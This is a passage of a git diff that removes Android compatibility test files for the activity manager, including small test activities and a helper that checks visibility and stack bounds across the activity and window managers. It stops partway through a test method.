- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.os.Bundle;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.content.Intent;
-
-public class TrampolineActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = TrampolineActivity.class.getSimpleName();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        // Add a delay here to expose more easily a failure case where the real target
-        // activity is visible before it's launched, because its task is being brought
-        // to foreground. We need to verify that 'am start' is unblocked correctly.
-        try {
-            Thread.sleep(2000);
-        } catch(InterruptedException e) {}
-        Intent intent = new Intent(this, SingleTaskActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK);
-
-        startActivity(intent);
-        finish();
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/TranslucentActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/TranslucentActivity.java
deleted file mode 100644
index 800080e..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/TranslucentActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class TranslucentActivity extends Activity {
-
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/TurnScreenOnActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/TurnScreenOnActivity.java
deleted file mode 100644
index 838a1d6..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/TurnScreenOnActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class TurnScreenOnActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/VisibleBehindActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/VisibleBehindActivity.java
deleted file mode 100644
index cc8f273..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/VisibleBehindActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-import android.util.Log;
-
-public class VisibleBehindActivity extends Activity {
-    private static final String TAG = "VisibleBehindActivity";
-    @Override
-    protected void onPause() {
-        super.onPause();
-        if (requestVisibleBehind(true)) {
-            Log.e(TAG, "Failed to request visibility behind...");
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java b/hostsidetests/services/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
deleted file mode 100644
index b3f8c39..0000000
--- a/hostsidetests/services/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.displaysize.app;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class SmallestWidthActivity extends Activity {
-
-    @Override
-    protected void onNewIntent(Intent intent) {
-        super.onNewIntent(intent);
-
-        final Bundle extras = intent.getExtras();
-        if (extras != null && extras.getBoolean("launch_another_activity")) {
-            Intent startIntent = new Intent();
-            startIntent.setComponent(
-                    new ComponentName("android.server.app", "android.server.app.TestActivity"));
-            startActivity(startIntent);
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityAndWindowManagersState.java
deleted file mode 100644
index bb7f521..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityAndWindowManagersState.java
+++ /dev/null
@@ -1,500 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.ITestDevice;
-
-import junit.framework.Assert;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import android.server.cts.WindowManagerState.WindowStack;
-import android.server.cts.WindowManagerState.WindowTask;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Objects;
-
-import static android.server.cts.ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
-import static android.server.cts.StateLogger.log;
-
-/** Combined state of the activity manager and window manager. */
-class ActivityAndWindowManagersState extends Assert {
-
-    // Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
-    // (Needed in host-side tests to convert dp to px.)
-    private static final int DISPLAY_DENSITY_DEFAULT = 160;
-
-    // Default minimal size of resizable task, used if none is set explicitly.
-    // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
-    private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
-
-    private ActivityManagerState mAmState = new ActivityManagerState();
-    private WindowManagerState mWmState = new WindowManagerState();
-
-    private final List<WindowManagerState.WindowState> mTempWindowList = new ArrayList<>();
-
-    /**
-     * Compute AM and WM state of device, check sanity and bounds.
-     * WM state will include only visible windows, stack and task bounds will be compared.
-     *
-     * @param device test device.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     */
-    void computeState(ITestDevice device, String[] waitForActivitiesVisible) throws Exception {
-        computeState(device, waitForActivitiesVisible, true);
-    }
-
-    /**
-     * Compute AM and WM state of device, check sanity and bounds.
-     * WM state will include only visible windows.
-     *
-     * @param device test device.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
-     *                                  'false' otherwise.
-     */
-    void computeState(ITestDevice device, String[] waitForActivitiesVisible,
-                      boolean compareTaskAndStackBounds) throws Exception {
-        computeState(device, true, waitForActivitiesVisible, compareTaskAndStackBounds);
-    }
-
-    /**
-     * Compute AM and WM state of device, check sanity and bounds.
-     * Stack and task bounds will be compared.
-     *
-     * @param device test device.
-     * @param visibleOnly pass 'true' to include only visible windows in WM state.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     */
-    void computeState(ITestDevice device, boolean visibleOnly, String[] waitForActivitiesVisible)
-            throws Exception {
-        computeState(device, visibleOnly, waitForActivitiesVisible, true);
-    }
-
-    /**
-     * Compute AM and WM state of device, check sanity and bounds.
-     *
-     * @param device test device.
-     * @param visibleOnly pass 'true' if WM state should include only visible windows.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
-     *                                  'false' otherwise.
-     */
-    void computeState(ITestDevice device, boolean visibleOnly, String[] waitForActivitiesVisible,
-                      boolean compareTaskAndStackBounds) throws Exception {
-        waitForValidState(device, visibleOnly, waitForActivitiesVisible, null,
-                compareTaskAndStackBounds);
-
-        assertSanity();
-        assertValidBounds(compareTaskAndStackBounds);
-    }
-
-    /**
-     * Wait for consistent state in AM and WM.
-     *
-     * @param device test device.
-     * @param visibleOnly pass 'true' if WM state should include only visible windows.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     * @param stackIds ids of stack where provided activities should be found.
-     *                 Pass null to skip this check.
-     */
-    void waitForValidState(ITestDevice device, boolean visibleOnly,
-                           String[] waitForActivitiesVisible, int[] stackIds,
-                           boolean compareTaskAndStackBounds) throws Exception {
-        int retriesLeft = 5;
-        do {
-            // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
-            // requesting dump in some intermediate state.
-            mAmState.computeState(device);
-            mWmState.computeState(device, visibleOnly);
-            if (shouldWaitForValidStacks(compareTaskAndStackBounds)
-                    || shouldWaitForActivities(waitForActivitiesVisible, stackIds)) {
-                log("***Waiting for valid stacks and activities states...");
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    void waitForHomeActivityVisible(ITestDevice device) throws Exception {
-        int retriesLeft = 5;
-        do {
-            mAmState.computeState(device);
-            if (!mAmState.isHomeActivityVisible()) {
-                log("***Waiting for home activity to be visible...");
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
-        if (!taskListsInAmAndWmAreEqual()) {
-            // We want to wait for equal task lists in AM and WM in case we caught them in the
-            // middle of some state change operations.
-            log("***taskListsInAmAndWmAreEqual=false");
-            return true;
-        }
-        if (!stackBoundsInAMAndWMAreEqual()) {
-            // We want to wait a little for the stacks in AM and WM to have equal bounds as there
-            // might be a transition animation ongoing when we got the states from WM AM separately.
-            log("***stackBoundsInAMAndWMAreEqual=false");
-            return true;
-        }
-        try {
-            // Temporary fix to avoid catching intermediate state with different task bounds in AM
-            // and WM.
-            assertValidBounds(compareTaskAndStackBounds);
-        } catch (AssertionError e) {
-            log("***taskBoundsInAMAndWMAreEqual=false : " + e.getMessage());
-            return true;
-        }
-        return false;
-    }
-
-    private boolean shouldWaitForActivities(String[] waitForActivitiesVisible, int[] stackIds) {
-        if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
-            return false;
-        }
-        // If the caller is interested in us waiting for some particular activity windows to be
-        // visible before compute the state. Check for the visibility of those activity windows
-        // and for placing them in correct stacks (if requested).
-        boolean allActivityWindowsVisible = true;
-        boolean tasksInCorrectStacks = true;
-        List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
-        for (int i = 0; i < waitForActivitiesVisible.length; i++) {
-            // Check if window is visible - it should be represented as one of the window states.
-            final String windowName =
-                    ActivityManagerTestBase.getWindowName(waitForActivitiesVisible[i]);
-            mWmState.getMatchingWindowState(windowName, matchingWindowStates);
-            boolean activityWindowVisible = !matchingWindowStates.isEmpty();
-            if (!activityWindowVisible) {
-                log("Activity window not visible: " + waitForActivitiesVisible[i]);
-                allActivityWindowsVisible = false;
-            } else if (stackIds != null) {
-                // Check if window is already in stack requested by test.
-                boolean windowInCorrectStack = false;
-                for (WindowManagerState.WindowState ws : matchingWindowStates) {
-                    if (ws.getStackId() == stackIds[i]) {
-                        windowInCorrectStack = true;
-                        break;
-                    }
-                }
-                if (!windowInCorrectStack) {
-                    log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
-                    tasksInCorrectStacks = false;
-                }
-            }
-        }
-        return !allActivityWindowsVisible || !tasksInCorrectStacks;
-    }
-
-    ActivityManagerState getAmState() {
-        return mAmState;
-    }
-
-    WindowManagerState getWmState() {
-        return mWmState;
-    }
-
-    void assertSanity() throws Exception {
-        assertTrue("Must have stacks", mAmState.getStackCount() > 0);
-        assertEquals("There should be one and only one resumed activity in the system.",
-                1, mAmState.getResumedActivitiesCount());
-        assertNotNull("Must have focus activity.", mAmState.getFocusedActivity());
-
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            for (ActivityTask aTask : aStack.getTasks()) {
-                assertEquals("Stack can only contain its own tasks", stackId, aTask.mStackId);
-            }
-        }
-
-        assertNotNull("Must have front window.", mWmState.getFrontWindow());
-        assertNotNull("Must have focused window.", mWmState.getFocusedWindow());
-        assertNotNull("Must have app.", mWmState.getFocusedApp());
-    }
-
-    void assertContainsStack(String msg, int stackId) throws Exception {
-        assertTrue(msg, mAmState.containsStack(stackId));
-        assertTrue(msg, mWmState.containsStack(stackId));
-    }
-
-    void assertDoesNotContainStack(String msg, int stackId) throws Exception {
-        assertFalse(msg, mAmState.containsStack(stackId));
-        assertFalse(msg, mWmState.containsStack(stackId));
-    }
-
-    void assertFrontStack(String msg, int stackId) throws Exception {
-        assertEquals(msg, stackId, mAmState.getFrontStackId());
-        assertEquals(msg, stackId, mWmState.getFrontStackId());
-    }
-
-    void assertFocusedStack(String msg, int stackId) throws Exception {
-        assertEquals(msg, stackId, mAmState.getFocusedStackId());
-    }
-
-    void assertNotFocusedStack(String msg, int stackId) throws Exception {
-        if (stackId == mAmState.getFocusedStackId()) {
-            failNotEquals(msg, stackId, mAmState.getFocusedStackId());
-        }
-    }
-
-    void assertFocusedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        assertEquals(msg, componentName, mAmState.getFocusedActivity());
-        assertEquals(msg, componentName, mWmState.getFocusedApp());
-    }
-
-    void assertNotFocusedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        if (mAmState.getFocusedActivity().equals(componentName)) {
-            failNotEquals(msg, mAmState.getFocusedActivity(), componentName);
-        }
-        if (mWmState.getFocusedApp().equals(componentName)) {
-            failNotEquals(msg, mWmState.getFocusedApp(), componentName);
-        }
-    }
-
-    void assertResumedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        assertEquals(msg, componentName, mAmState.getResumedActivity());
-    }
-
-    void assertNotResumedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        if (mAmState.getResumedActivity().equals(componentName)) {
-            failNotEquals(msg, mAmState.getResumedActivity(), componentName);
-        }
-    }
-
-    void assertFocusedWindow(String msg, String windowName) {
-        assertEquals(msg, windowName, mWmState.getFocusedWindow());
-    }
-
-    void assertNotFocusedWindow(String msg, String windowName) {
-        if (mWmState.getFocusedWindow().equals(windowName)) {
-            failNotEquals(msg, mWmState.getFocusedWindow(), windowName);
-        }
-    }
-
-    void assertFrontWindow(String msg, String windowName) {
-        assertEquals(msg, windowName, mWmState.getFrontWindow());
-    }
-
-    void assertVisibility(String activityName, boolean visible) {
-        final String activityComponentName =
-                ActivityManagerTestBase.getActivityComponentName(activityName);
-        final String windowName =
-                ActivityManagerTestBase.getWindowName(activityName);
-
-        final boolean activityVisible = mAmState.isActivityVisible(activityComponentName);
-        final boolean windowVisible = mWmState.isWindowVisible(windowName);
-
-        if (visible) {
-            assertTrue("Activity=" + activityComponentName + " must be visible.", activityVisible);
-            assertTrue("Window=" + windowName + " must be visible.", windowVisible);
-        } else {
-            assertFalse("Activity=" + activityComponentName + " must NOT be visible.",
-                    activityVisible);
-            assertFalse("Window=" + windowName + " must NOT be visible.", windowVisible);
-        }
-    }
-
-    void assertHomeActivityVisible(boolean visible) {
-        final boolean activityVisible = mAmState.isHomeActivityVisible();
-
-        if (visible) {
-            assertTrue("Home activity must be visible.", activityVisible);
-        } else {
-            assertFalse("Home activity must NOT be visible.", activityVisible);
-        }
-    }
-
-    boolean taskListsInAmAndWmAreEqual() {
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            final WindowStack wStack = mWmState.getStack(stackId);
-            if (wStack == null) {
-                log("Waiting for stack setup in WM, stackId=" + stackId);
-                return false;
-            }
-
-            for (ActivityTask aTask : aStack.getTasks()) {
-                if (wStack.getTask(aTask.mTaskId) == null) {
-                    log("Task is in AM but not in WM, waiting for it to settle, taskId="
-                            + aTask.mTaskId);
-                    return false;
-                }
-            }
-
-            for (WindowTask wTask : wStack.mTasks) {
-                if (aStack.getTask(wTask.mTaskId) == null) {
-                    log("Task is in WM but not in AM, waiting for it to settle, taskId="
-                            + wTask.mTaskId);
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    boolean stackBoundsInAMAndWMAreEqual() {
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            final WindowStack wStack = mWmState.getStack(stackId);
-            if (aStack.isFullscreen() != wStack.isFullscreen()) {
-                log("Waiting for correct fullscreen state, stackId=" + stackId);
-                return false;
-            }
-
-            final Rectangle aStackBounds = aStack.getBounds();
-            final Rectangle wStackBounds = wStack.getBounds();
-
-            if (aStack.isFullscreen()) {
-                if (aStackBounds != null) {
-                    log("Waiting for correct stack state in AM, stackId=" + stackId);
-                    return false;
-                }
-            } else if (!Objects.equals(aStackBounds, wStackBounds)) {
-                // If stack is not fullscreen - comparing bounds. Not doing it always because
-                // for fullscreen stack bounds in WM can be either null or equal to display size.
-                log("Waiting for stack bound equality in AM and WM, stackId=" + stackId);
-                return false;
-            }
-        }
-
-        return true;
-    }
-
-    /** Check task bounds when docked to top/left. */
-    void assertDockedTaskBounds(int taskSize, String activityName) {
-        // Task size can be affected by default minimal size.
-        int defaultMinimalTaskSize = defaultMinimalTaskSize(
-                mAmState.getStackById(ActivityManagerTestBase.DOCKED_STACK_ID).mDisplayId);
-        int targetSize = Math.max(taskSize, defaultMinimalTaskSize);
-
-        assertEquals(new Rectangle(0, 0, targetSize, targetSize),
-                mAmState.getTaskByActivityName(activityName).getBounds());
-    }
-
-    void assertValidBounds(boolean compareTaskAndStackBounds) {
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            final WindowStack wStack = mWmState.getStack(stackId);
-            assertNotNull("stackId=" + stackId + " in AM but not in WM?", wStack);
-
-            assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
-                    aStack.isFullscreen(), wStack.isFullscreen());
-
-            final Rectangle aStackBounds = aStack.getBounds();
-            final Rectangle wStackBounds = wStack.getBounds();
-
-            if (aStack.isFullscreen()) {
-                assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
-            } else {
-                assertEquals("Stack bounds in AM and WM must be equal stackId=" + stackId,
-                        aStackBounds, wStackBounds);
-            }
-
-            for (ActivityTask aTask : aStack.getTasks()) {
-                final int taskId = aTask.mTaskId;
-                final WindowTask wTask = wStack.getTask(taskId);
-                assertNotNull(
-                        "taskId=" + taskId + " in AM but not in WM? stackId=" + stackId, wTask);
-
-                final boolean aTaskIsFullscreen = aTask.isFullscreen();
-                final boolean wTaskIsFullscreen = wTask.isFullscreen();
-                assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
-                        + ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
-
-                final Rectangle aTaskBounds = aTask.getBounds();
-                final Rectangle wTaskBounds = wTask.getBounds();
-
-                if (aTaskIsFullscreen) {
-                    assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
-                            aTaskBounds);
-                } else {
-                    assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
-                            + ", stackId=" + stackId, aTaskBounds, wTaskBounds);
-
-                    if (compareTaskAndStackBounds && stackId != FREEFORM_WORKSPACE_STACK_ID) {
-                        int aTaskMinWidth = aTask.getMinWidth();
-                        int aTaskMinHeight = aTask.getMinHeight();
-
-                        if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
-                            // Minimal dimension(s) not set for task - it should be using defaults.
-                            int defaultMinimalSize = defaultMinimalTaskSize(aStack.mDisplayId);
-
-                            if (aTaskMinWidth == -1) {
-                                aTaskMinWidth = defaultMinimalSize;
-                            }
-                            if (aTaskMinHeight == -1) {
-                                aTaskMinHeight = defaultMinimalSize;
-                            }
-                        }
-
-                        if (aStackBounds.getWidth() >= aTaskMinWidth
-                                && aStackBounds.getHeight() >= aTaskMinHeight
-                                || stackId == PINNED_STACK_ID) {
-                            // Bounds are not smaller then minimal possible, so stack and task
-                            // bounds must be equal.
-                            assertEquals("Task bounds must be equal to stack bounds taskId="
-                                    + taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
-                        } else {
-                            // Minimal dimensions affect task size, so bounds of task and stack must
-                            // be different - will compare dimensions instead.
-                            int targetWidth = (int) Math.max(aTaskMinWidth,
-                                    aStackBounds.getWidth());
-                            assertEquals("Task width must be set according to minimal width"
-                                            + " taskId=" + taskId + ", stackId=" + stackId,
-                                    targetWidth, (int) wTaskBounds.getWidth());
-                            int targetHeight = (int) Math.max(aTaskMinHeight,
-                                    aStackBounds.getHeight());
-                            assertEquals("Task height must be set according to minimal height"
-                                            + " taskId=" + taskId + ", stackId=" + stackId,
-                                    targetHeight, (int) wTaskBounds.getHeight());
-                        }
-                    }
-                }
-            }
-        }
-    }
-
-    static int dpToPx(float dp, int densityDpi){
-        return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
-    }
-
-    int defaultMinimalTaskSize(int displayId) {
-        return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java
deleted file mode 100644
index 866251c..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.lang.Exception;
-import java.lang.String;
-
-public class ActivityManagerActivityVisiblityTests extends ActivityManagerTestBase {
-    private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
-    private static final String VISIBLE_BEHIND_ACTIVITY = "VisibleBehindActivity";
-    private static final String PIP_ON_PIP_ACTIVITY = "LaunchPipOnPipActivity";
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String TRANSLUCENT_ACTIVITY_NAME = "TranslucentActivity";
-    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
-    private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
-    private static final String BROADCAST_RECEIVER_ACTIVITY = "BroadcastReceiverActivity";
-
-    public void testVisibleBehindHomeActivity() throws Exception {
-        if (noHomeScreen()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmd(VISIBLE_BEHIND_ACTIVITY));
-        mAmWmState.waitForValidState(mDevice, true, new String[] {VISIBLE_BEHIND_ACTIVITY},
-                new int[] {FULLSCREEN_WORKSPACE_STACK_ID}, false /* compareTaskAndStackBounds */);
-
-        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
-        mAmWmState.waitForHomeActivityVisible(mDevice);
-
-        /* TODO: Find a proper way to wait until launcher activity
-         * becomes fully visible. It appears that both VisibleBehindActivity
-         * and home activity are visible at some point before the former
-         * disappears.*/
-        Thread.sleep(3000);
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertFrontStack("Home stack must be the front stack.", HOME_STACK_ID);
-        mAmWmState.assertVisibility(
-                VISIBLE_BEHIND_ACTIVITY, hasDeviceFeature("android.software.leanback"));
-    }
-
-    public void testVisibleBehindOtherActivity_NotOverHome() throws Exception {
-        executeShellCommand(getAmStartCmd(VISIBLE_BEHIND_ACTIVITY));
-        executeShellCommand(getAmStartCmd(TRANSLUCENT_ACTIVITY));
-
-        mAmWmState.computeState(mDevice,
-                new String[] {VISIBLE_BEHIND_ACTIVITY, TRANSLUCENT_ACTIVITY});
-        mAmWmState.assertVisibility(VISIBLE_BEHIND_ACTIVITY, true);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-    }
-
-    public void testVisibleBehindOtherActivity_OverHome() throws Exception {
-        if (noHomeScreen()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmdOverHome(VISIBLE_BEHIND_ACTIVITY));
-        executeShellCommand(getAmStartCmdOverHome(TRANSLUCENT_ACTIVITY));
-
-        mAmWmState.computeState(mDevice,
-                new String[] {VISIBLE_BEHIND_ACTIVITY, TRANSLUCENT_ACTIVITY});
-        mAmWmState.assertVisibility(VISIBLE_BEHIND_ACTIVITY, true);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-    }
-
-    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
-        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
-        // translucent activity.
-        executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-
-        mAmWmState.computeState(mDevice, new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
-        mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
-        mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-    }
-
-    /**
-     * Asserts that the home activity is visible when a translucent activity is launched in the
-     * fullscreen stack over the home activity.
-     */
-    public void testTranslucentActivityOnTopOfHome() throws Exception {
-        if (noHomeScreen()) {
-            return;
-        }
-
-        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
-        executeShellCommand(getAmStartCmd(TRANSLUCENT_ACTIVITY));
-
-        mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
-        mAmWmState.assertFrontStack(
-                "Fullscreen stack must be the front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-        mAmWmState.assertHomeActivityVisible(true);
-    }
-
-    /**
-     * Assert that the home activity is visible if a task that was launched from home is pinned
-     * and also assert the next task in the fullscreen stack isn't visible.
-     */
-    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
-        executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME));
-        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
-        executeShellCommand(getAmStartCmd(TRANSLUCENT_ACTIVITY));
-        executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-
-        mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
-
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
-        mAmWmState.assertHomeActivityVisible(true);
-    }
-
-    public void testTranslucentActivityOverDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
